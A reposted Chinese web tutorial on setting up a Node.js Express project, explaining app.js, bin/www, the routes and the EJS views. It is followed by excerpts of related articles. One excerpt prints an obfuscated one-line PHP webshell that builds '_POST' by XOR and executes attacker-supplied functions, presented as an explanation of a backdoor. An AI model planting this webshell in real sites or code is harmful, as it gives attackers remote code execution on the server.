分针网—IT教育:nodeJS新建一个项目及代码详解

有了解nodejs的童鞋们知道,nodejs有很多的依赖,那么我们在新建一个项目的时候,如何快速的导入这些依赖从而创建一个nodejs项目呢,接下来会详细介绍。

这里安利一个前端开发工具——webstorm。真的很好用,除了有点(或许不是一点点)占内存,打开的时候有点慢。在工作中用这个会很方便(在考虑要不要写一篇前端开发工具的比较,吼吼吼~(≧▽≦)/~)

?下面我们来用命令创建一个nodejs项目。

1.我们在c盘的ws文件夹下创建项目。

打开DOS窗口,进入到ws文件夹

2.在此文件夹下创建名为nodeProjection1的项目

3.进入项目文件夹,安装依赖

然后选择一个开发工具,打开刚创建的项目。如下图。node_modules里面有很多依赖模块,远远不止你看到的。

?下面详细解释一下,项目中各个目录的功能用途

app.js:——启动文件,也可以说是主文件入口。

package.json——定义了这个项目所需要的各种模块,以及项目的配置信息(比如名称、版本、许可证等元数据)。npm install命令根据这个配置文件,自动下载所需的模块,也就是配置项目所需的运行和开发环境。

node_modules——存放package.json中安装的模块,当你在package.json添加依赖的模块并安装后,存放在这个文件夹下

public——存放image、css、js等文件

routes——存放路由文件

views——存放视图文件或者说模板文件

bin——存放可执行文件

?app.js里的代码及其解释

1.这里我们通过require()加载了express、path 等模块,以及 routes 文件夹下的index. js和 users.js 路由文件。 下面来讲解每行代码的含义。

2.var app = express(); 生成一个express实例。app.

3.app.set(‘views‘, path.join(__dirname, ‘views‘));设置views文件夹为存放视图文件的目录,即存放模板文件的目录。_dirname为全局变量,存储当前正在执行的脚本所在的目录。

4.app.set(‘view engine‘, ‘ejs‘); 设置视图模板引擎为ejs。

5.app.use(logger(‘dev’)):加载日志中间件。

6.app.use(bodyParser.json()):加载解析json的中间件。

7.app.use(bodyParser.urlencoded({ extended: false }));

加载解析urlencoded请求体的中间件。

8.app.use(cookieParser()):加载解析cookie的中间件。

9.app.use(express.static(path.join(__dirname, ‘public‘))):设置public文件夹为存放静态文件的目录。

10.app.use(‘/‘, index);和app.use(‘/users‘, users):路由控制器。

11.app.use(function(req, res, next) {

var err = new Error(‘Not Found‘);

err.status = 404;

next(err);

});

捕获404错误,并转发到错误处理器。

12.app.use(function(err, req, res, next) {

// set locals, only providing error in development

res.locals.message = err.message;

res.locals.error = req.app.get(‘env‘) === ‘development‘ ? err : {};

// render the error page

res.status(err.status || 500);

res.render(‘error‘);

});

开发环境下的错误处理器,将错误信息渲染error模版并显示到浏览器中。

13.module.exports = app;:导出app实例供其他模块调用。

?bin/www代码及其详解

1.#!/usr/bin/env node:表明是 node 可执行文件。

2.var debug = require(‘debug‘)(‘nodeproject1:server‘);:引入debug模块,打印调试日志。

3.var app = require(‘../app’):引入我们上面导出的app实例。

4.var port = normalizePort(process.env.PORT || ‘3000‘);

app.set(‘port‘, port); 设置端口号。

5.剩下的代码用来启动工程并监听3000端口。

?routes/index.js

module.exports = router;

生成一个路由实例用来捕获访问主页的GET请求,导出这个路由并在app.js中通过app.use(‘/‘, routes); 加载。这样,当访问主页时,就会调用res.render(‘index‘, { title: ‘Express‘ });渲染views/index.ejs模版并显示到浏览器中。

?views/index.ejs

在渲染模板时我们传入了一个变量 title 值为 express 字符串,模板引擎会将所有 <%= title %> 替换为 express ,然后将渲染后生成的html显示到浏览器中。

转载:http://www.jianshu.com/p/7b0a5d4491ba

作者: 洞听

本文转载自分针网

想学习更多IT知识可加群:272292492

时间: 2024-10-10 22:34:18

分针网—IT教育:nodeJS新建一个项目及代码详解的相关文章

分针网—IT教育: Html / CSS常见问题的解决方案

1. 解决Safari下input光标过大 2. 设置浮层 3. CSS绘制三角形 4. 清除浮动 1) 浮动元素父级添加样式 2) 父元素后添加伪元素 3) 同样可以使用如下方式(兼容IE) 4) 在浮动元素后添加div.clear 注意点 1) .clearfix 应用在包含浮动子元素的父级元素上 2) 使用clear清除浮动会发生margin重叠显现,使用BFC清除浮动(在浮动元素的父元素上添加overflow: hidden;)则会把整个元素包起来,从而不会发生margin重叠现象 5.

第一个flask应用代码详解

上一篇我们创建了第一个简单的flask应用程序,这一篇我们来看一下,这个最简单的应用程序都做了哪些事 第一行代码,导入了flask类 from flask import Flask 第二步创建了Flask类的实例 app = Flask(__name__) 这行代码里有一个参数name,这个参数用到告诉flask你的application的名字,官方有一句话: If you are using a single module,name is always the correct value. I

一个一句话后门代码详解

神秘的一句话后门代码内容: <?php    @$_++;  $__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");  ${$__}[!$_](${$__}[$_]); ?> 代码作用: 以上代码即是PH

代码 | 用ALNS框架求解一个TSP问题 - 代码详解

写在前面 前面好多篇文章,我们总算是把整个ALNS的代码框架给大家说明白了.不知道大家对整个框架了解了没有.不过打铁要趁热,心急了要吃热豆腐.今天就来实战一下,教大家怎么用ALNS的代码框架,求解一个老生常谈的TSP问题,so,get ready? 01 文件说明 整个项目由多个文件组成,为了大家更好了解各个文件的内容以及他们之间的关系,小编特地做了一份表格说明. 类名或文件名 说明 main 主文件 TSPSolution Solution的定义和各种相关操作 TSP_LS LocalSear

Xcode6下新建XMPP项目导入框架详解

1.xcode版本 2.xmpp 版本: https://github.com/robbiehanson/XMPPFramework 开始导入框架:(最好先在show in finder里面建立文件夹,再把xmpp框架里的东西拷贝到刚建立的文件夹,再把这些文件夹拖入工程) 第一步:先导入Vendor里面的东西 1.先导入Vendor(这里是xmpp所依赖的第三方库)文件夹里面的CocoaLumberjack.不需要添加别的库文件,编译成功. 2.再导入 CocoaAsyncSocket(xmpp

分针网—每日分享: 根据屏幕大小,加载不同大小的图片

引言 今天要介绍的东西,很简单,但是对于前端响应式的时候是个很重要的知识: 我们在用bootstrap这类前端框架时, 虽然页面局部通过media query实现了,页面始终无滚动条,响应式页面. 但是,bootstrap里面的img-responsive类只是通过设置图片100%, 并没有真正的实现在手机上和电脑端加载不同大小的图片. 代码其实很简单 <!DOCTYPE html> <html lang="en"> <head> <meta 

分针网—每日分享: 怎么轻松学习JavaScript

js给初学者的印象总是那么的"杂而乱",相信很多初学者都在找轻松学习js的途径. 我试着总结自己学习多年js的经验,希望能给后来的学习者探索出一条"轻松学习js之路". js给人那种感觉的原因多半是因为它如下的特点: A:本身知识很抽象.晦涩难懂,如:闭包.内置对象.DOM. B:本身内容很多,如函数库,对象库就一大堆. C:混合多种编程思想. 它里面不但牵涉面向过程编程思想,又有面向对象编程思想,同时,它的面向对象还和别的编程语言(如:C++,JAVA,PHP)不

分针网—每日分享:说一说 React 和 Redux 你知道或者不知道的一些事情

本文介绍一下自己在使用React和Redux过程中的一些思考,主要面向初学者. 1. 为什么要有redux 传统前端开发中,把模板和功能逻辑分开作为一种最佳实践,React采用了不同的思路,通过组件把模板和逻辑组合在一起.但是React也并不是一个完整的组件化框架,其组件化只是主要集中在展示层面,如果要构建复杂的应用,在React component中放置太多的逻辑代码,不仅组件化的初衷复用性会降低,从代码维护的角度看也不合理. Flux是Facebook提出的一种前端架构模式,通过Flux的数

分针网——每日分享: jquery选择器的用法

jQuery选择器是jQuery库的一大特色,用这些选择器不但可以省去繁琐的JavaScript 书写方式,还可以节省时间和效率,正是有这些jQuery选择器,才让我们更容易的操作JavaScript的dom. 1. 基本选择器 ·#id 根据给定的ID匹配一个元素.例如:$("#id") ·element 根据给定的元素名匹配所有元素.例如:$("div") ·.class 根据给定的类匹配元素.例如:$(".style1"); ·* 匹配所有